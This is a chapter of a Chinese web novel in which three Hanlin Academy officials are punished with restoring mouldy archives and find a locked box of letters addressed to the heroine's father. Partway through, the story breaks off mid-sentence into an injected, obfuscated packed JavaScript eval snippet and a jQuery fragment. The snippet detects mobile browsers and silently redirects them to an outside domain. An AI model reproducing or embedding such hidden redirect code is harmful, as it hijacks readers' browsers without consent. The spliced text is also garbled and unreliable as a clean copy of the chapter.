54. 被抓住了呜呜呜…… 神出……

作品:《救命!我的心声它想害死我!

    三人刚溜回翰林院值房门口,还未来得及喘匀气,身后便传来一声冰冷的咳嗽。


    沈见微心头一沉,暗叫不好。转过头去,果然对上主事那张黑如锅底的脸。


    “看来,坊市的茶点比翰林院的案牍更吸引人?”主事声音不高,却像冰碴子一样砸在三人心上,“李校书,可是你又撺掇生事?”


    李校书一个激灵,立马堆起谄媚的笑容,“主事大人误会了!我们是看小沈编修脸色实在难看,怕他累倒在值房里,这才强行拉他出去透了口气。医书上说,这叫劳逸结合……”


    “闭嘴!”


    主事一声低喝,打断了他的胡诌,目光锐利地扫过沈见微苍白的脸和眼下乌青,最后落在始终沉默的曹直身上。


    “曹编修,你素来沉稳,今日竟也如此不知分寸?”


    曹直微微躬身,语气平淡无波,“是下官失职,请主事责罚。”


    主事冷哼一声,目光最终定在沈见微身上,带着显而易见的失望。


    “沈编修,昨日你未告假,本官念你身体不适,免了你的案牍积压之责,已是网开一面。怎料今日非但不思勤勉,反而擅离职守,与人嘻游街市?这般状态,如何当得起翰林院编修之责?”


    每一句话都像鞭子抽在沈见微心口上。她脸颊滚烫,头几乎要埋进胸口,手指紧张地蜷缩着,声音微不可闻。


    “下官知错……一切皆因下官而起,与曹编修、李校书无关,请主事只责罚下官一人。”


    【都怪我!要不是我状态这么差,他们也不会想着拉我出去……结果还连累他们一起挨骂!曹直明明还帮我分担了工作,李校书虽然闹腾也是好心……我真是……】


    李校书一听急了,“唉别别别!主事大人,是我硬拉他们去的!要罚罚我!”


    主事看着眼前这互相揽责的一幕,气极反笑。


    “好啊,倒是同僚情深。既然都这么积极,那就一并罚了,也好让你们长长记性!”


    他顿了顿,目光扫过值房角落那扇常年落锁的小门。


    “库房里那批前朝留下的旧卷宗,堆积多年,虫蛀鼠咬,字迹漫漶,正好需要人手重新整理誊录。既然你们精力如此旺盛,那未来几日,散值后你们三人便去库房,将那批旧卷宗清理出来,能修补的修补,需重抄的重抄。何时整理完毕,何时为止!”


    李校书脸顿时垮了下来,发出一声哀嚎,“啊?那堆发霉的破烂玩意儿?主事大人您这……”


    那批旧卷宗是翰林院著名的苦差事,不仅工作量巨大,而且环境憋闷,尘螨极多,整理起来又脏又累还费眼睛。


    曹直神色不变,只应道,“是。”


    沈见微更是愧疚得无以复加。这惩罚远比她想象中的要重,而且完全是因她所起。


    【整理旧卷宗?那地方又脏又闷……曹直和李校书都被我害惨了!我真是成事不足败事有余……】


    她猛地抬头,急切道,“主事大人,此事皆因下官一人之过,他们二位只是……”


    “不必多言!”主事拂袖打断,“既以定下,休再啰嗦。今日便开始!”


    他说完,冷冷瞥了三人一眼,这才转身离开。


    李校书哭丧着脸,唉声叹气,“完了完了,未来估计都别想有好日子过了……那库房进去一趟出来就得变成土人儿……”


    沈见微眼眶发红,对这他们深深一鞠躬,声音充满了自责和哽咽。


    “曹编修,李校书,对不住!真的对不住!都是因为我,才连累你们受此重罚……我……”


    她难过的说不下去,只觉得无地自容。


    李校书见她这样,反倒不好意思再抱怨,挠挠头道。


    “唉……小沈编修你别这样……这件事我也有错,明明知道你不想出去还非要拉着你出门……其实也没啥,不就是整理整理旧卷宗嘛,刚好打发时间,人多还热闹呢!你说对吧,曹直?”他用胳膊肘碰了碰曹直。


    曹直看着沈见微那副泫泫欲泣满是愧疚的样子,沉默了片刻,才淡淡道,“既已同去,便同罚,无需自责。”


    他的语气依旧平静,却奇异地没有往常那般冷硬,甚至还带着一种安抚的意味。


    【他们……没有怪我?明明是我连累了他们……】


    主事离去的脚步声在空旷的廊道里渐行渐远,只留下值房门口一片愁云惨雾。


    李校书还在对着主事消失的方向龇牙咧嘴,仿佛这样就能环节即将到来的“酷刑”。


    他夸张地拍打着并不存在的灰尘,哀叹道,“不过我这身新裁的衣裳算是交代了!那库房里的灰,怕是比我家烧火的灶膛里还厚!”


    沈见微听着他的话,头垂得更低了,手指紧紧攥着官袍的袖口,指节泛白。


    【都是我……若不是我,他们此刻本该在值房里喝着清茶,虽然案牍工作繁杂枯燥,但是轻松啊!而不是要跟着我一起去那鬼地方吃灰……】


    曹直没有理会李校书的抱怨,他的目光落在沈见微煞白而充满愧色的脸上,顿了一下,开口道,“事已至此,多想无益。收拾一下,准备去库房。”


    他的声音依旧平淡,但却稳住了有些浮动不安的气氛。


    李校书也反应过来,赶紧收起苦瓜脸,凑到沈见微旁边,用轻松的口气说。


    “对啊对啊!曹直说得对!伸头一刀缩头也是一刀,早点干完早点解脱!这马上也要年关,说不定还能赶上今年过年的灯会呢!小沈编修有去看过嘛?那可热闹了!改天我带你去见见世面!”


    他试图活跃气氛,甚至还扯出一个大大的笑容,就是有点僵硬。


    沈见微抬起头,眼圈依旧红着,看着努力安慰她的两人,心中酸涩和暖意交织。


    她用力吸了吸鼻子,努力将哽咽压下去,轻声道,“……谢谢你们。我……一定会尽全力,早点做完,不连累你们太久。”


    “说什么连累不连累的,见外了不是?”李校书大手一挥,故作豪爽,“咱们现在可以拴在一根绳上的……咳咳咳,是同舟共济的战友!”


    曹直已经转身去取钥匙和需要用的文具,笔墨、糨糊、修补用的绵纸等。他的动作有条不紊,似乎即将面对的不是苦役,而只是一项普通的工作。


    片刻后,三人站在那扇落锁的小门前。锁头锈迹斑斑,曹直费了些力气才用钥匙捅开。


    “吱呀”一声令人牙酸的声响,沉重的木门被推开。一股沉重陈腐的气味铺面而来,混杂着纸张霉变、透水潮湿的味道。


    李校书被呛着连打了好几个喷嚏,连连后退,“嚯!好家伙!这味儿够正的!”


    库房内光线昏暗,只有高处一个小小的气窗透进些许微光,能看见空气中漂浮的无数尘埃颗粒。


    借着门口的光线望去,里面堆满了小山一样的卷宗架和散落的箱筪。纸张泛黄发黑,许多边缘已经破损,甚至能看到被虫蛀噬咬的细小孔洞,满地狼藉,几乎无处下脚。


    沈见微看着这惊人的工作量和工作环境,刚刚压下的愧疚感又涌了上来,脸色更白了。


    李校书一边扇着面前的灰尘,一边嘀咕。


    “主事还天天把那些破文书当宝,这里哪个文书不是耗尽心血誊抄出来的,还不是放在这里发烂发臭……啧啧啧……真不知道搞这些东西到底有什么用……难不成里面真藏着宝贝不成?”


    曹直面色不变,率先迈步走了进去,靴子踩在积灰的地面上,留下清晰的脚印。他环视一周,冷静地开始分派任务。


    “李校书,你力气大,先将这些散落的卷宗按大致类别归拢,堆到一旁,清出走路和做事的地方。”


    “沈编修,你心细,检查一下架子上那些卷宗的破损情况,将继续修补和尚且完好的分开。”


    “我负责来清理这些散落的浮沉和虫尸。”


    他的指令清晰明确,一下子让茫无头绪的混乱变得有了条理。


    李校书哀叹一声“命苦”,但还是认命地挽起袖子开始干活,一边干一边嘟囔,“这要是抄完,我这手估计也得废了……”


    沈见微则立刻应了声“是”,小心翼翼地避开地上的杂物,走进最近一个架子前,屏住呼吸,轻轻拿起最上面的一册卷宗。


    指尖传来的触感潮湿而脆弱,她的动作不由得放得极轻,仿佛对待易碎的珍宝。


    她屏住呼吸,指尖极其轻柔地拂开卷宗封面上的积尘。


    封面是厚实的绵纸,但边缘已被潮气侵蚀得酥软,稍一用力就会碎裂。她看到题签上的墨字早已褪色模糊,只能勉强辨认出“实录”二字,以及一个年份,大约是前朝帝王的年号。


    她小心翼翼地翻开第一页。


    纸张粘连在一起,发出细微的撕裂声。她立即停手,不敢再动,转而去看侧面的情况。果然,许多页都受潮粘连,甚至长了霉斑,墨迹被晕开,一团模糊。


    “怎么样?”曹直的声音从身后传来。


    他不知何时已经站到她身旁,手里拿着一块微湿的抹布,正清理着旁边架子的隔层。他的动作干脆利落,但同样放得很轻,避免扬起过多尘土。


    “不太好,”沈见微的声音带着忧虑,“很多都黏在一起了,还生了霉。不敢用力翻。”


    曹直凑近了些,就这昏黄的光线看了看,“嗯。这些需先用蒸汽小心熏开,晾干后才能处理,先放在一边吧。”


    “蒸汽?”沈见微有点茫然。


    “嗯,小壶烧水,利用水汽熏蒸,需极小心地控制火候和距离,否则纸张就毁了。待会我来处理。”


    【他连这个都会?】


    沈见微有些惊讶,但想到曹直素来的沉稳和博学,又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503959|181933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    觉得合理。她心中稍安,点了点头,“好。”


    另一边的李校书已经哼哼唧唧地搬开了一堆散落在地的卷宗,清出了一小片空地,累得直喘气,“我的老天爷,这些纸比石头还沉!曹直,你确定这些破烂还有救?我看直接当柴火烧了算了,反正也没人看……”


    “慎言。”曹直头也没回,声音微沉,“翰林院所著,皆为国朝文献,岂可轻毁。”


    李校书撇撇嘴,不敢再多说,认命地继续当他的苦力。


    沈见微继续检查下一册。


    这一册似乎干燥些,但问题同样严重,书脊处的线绳早已朽烂断裂,纸张散乱。更可怕的是,里面密密麻麻布满了虫蛀的小孔,几乎成了筛子,再往里看,甚至还能看到一些早已干瘪的小虫尸体嵌在纸缝里。


    【要吐了……最怕这种小虫子了啊啊啊!就算是死的也是这么令人害怕!】


    她强忍着不适,仔细分辨着上面的字迹。那是用一种非常工整的馆阁体誊写的奏章,但蛀蚀太严重,许多句子都已残缺不全。


    “……臣……闻……东南有警……倭寇……滋扰……请增……”她艰难地辨认着断续的文字。


    “发现什么了?”曹直问。


    “像是前朝关于东南倭寇的奏报,可惜蛀蚀太厉害了。”沈见微惋惜道。


    曹直接过,就着光仔细看了看,用手指极轻地丈量了一下蛀孔的范围和深度,“核心内容损毁严重,但年份、奏报人、事由或许尚可辨析。此类需单独挑出,若能拼凑出梗概,重抄摘要,原件亦需尽量保存。”


    他的手指修长稳定,对待那些脆弱不堪的纸张时,有一种与他冷硬外表不符的谨慎和耐心。


    沈见微看着他专注的侧脸,心中的愧疚感似乎被这枯燥但精细的工作稍稍冲淡了些,她也打起精神,更加投入地开始分拣。


    时间在寂静而忙碌中流逝。库房里只有李校书嘟囔抱怨、纸张翻动的沙沙声以及曹直偶尔简短的指令声。


    沈见微渐渐发现,在这令人窒息的环境和庞杂的工作中,曹直的冷静和条理是多么的可贵。


    他总能迅速判断出卷宗的状态和优先级,并且清楚地告诉她该如何处置。李校书虽然嘴上叫苦连天,但干起活来却也实在,清理搬运的动作越来越熟练。


    她自己的心情也慢慢平复下来,全神贯注于指尖的触感和眼前的字迹。当她成功将一架子书按照毁损程度依次摆放好时,一种微弱的成就感悄然浮现。


    【好像……也没有想象中那么绝望……】


    这些卷宗跨越了时间的长河来到他们面前,被他们拾起,这件事情,本身就是一件很有价值的事情……


    就在这时,李校书忽然“咦”了一声,从一堆杂乱无章的废纸卷宗下拖出一个材质明显特殊的黑漆木盒。


    “这盒子还挺结实,锁都锈死了。”他好奇地掂量了一下,“里面装的什么?感觉里面不像是普通卷宗啊。”


    曹直的目光被吸引过去,他走过去,从李校书手里接过木盒,仔细看了看锁孔和盒身的纹路。


    “这不是翰林院通用的文书匣。”他沉吟道,“倒像是……私人所有之物,或是特意封存之物。”


    “私人?”李校书眼睛一亮,顿时来了精神,压低声音神秘兮兮地说,“难不成真让我说着了?这破屋子里真藏着什么宝贝?”


    曹直没有理会他的臆想,尝试着轻轻晃动木盒,里面传来轻微纸张摩擦的声响。他检查了一下锁口,“需要撬开。”


    “撬开撬开!”李校书兴奋地搓搓手,“快点,曹直,看看里面到底是什么!”


    沈见微也被吸引了注意力,有些好奇地看着那盒子。


    “我不会。”曹直平铺直叙,“你来?”


    李校书瞬间就焉了,这有点涉及到他的知识盲区了。


    沈见微突然眼睛一亮,不知道从哪个角落翻出一根细铁丝,接过盒子对着锁孔处仔细瞧了瞧,“让我试试。”


    她将铁丝捅进锁鼻缝隙,小心地拨弄探寻,终于找到一个恰当的位置,手腕微微一用力。


    锈蚀的锁舌发出令人头皮发麻的“嘎吱”声,应声而开。


    李校书迫不及待地就想伸手去掀盖子。


    “慢着。”曹直挡开他的手,“小心机关。”


    他退后一点,寻了根细木杆,轻轻挑开了盒盖。


    盒盖开启,并无异状,只有一股更陈旧的墨香和淡淡防虫草药的气味弥漫出来。


    里面整整齐齐地码放着一叠书信。信封已经泛黄,但保存得相对完好,字迹清晰可见。最上面的信封上,写着一行清俊挺拔的行楷。


    翰林院沈确敬启。


    落款处的名字,让凑过来的沈见微瞳孔猛然一缩,心跳骤然停了一拍。


    【我爹的信?】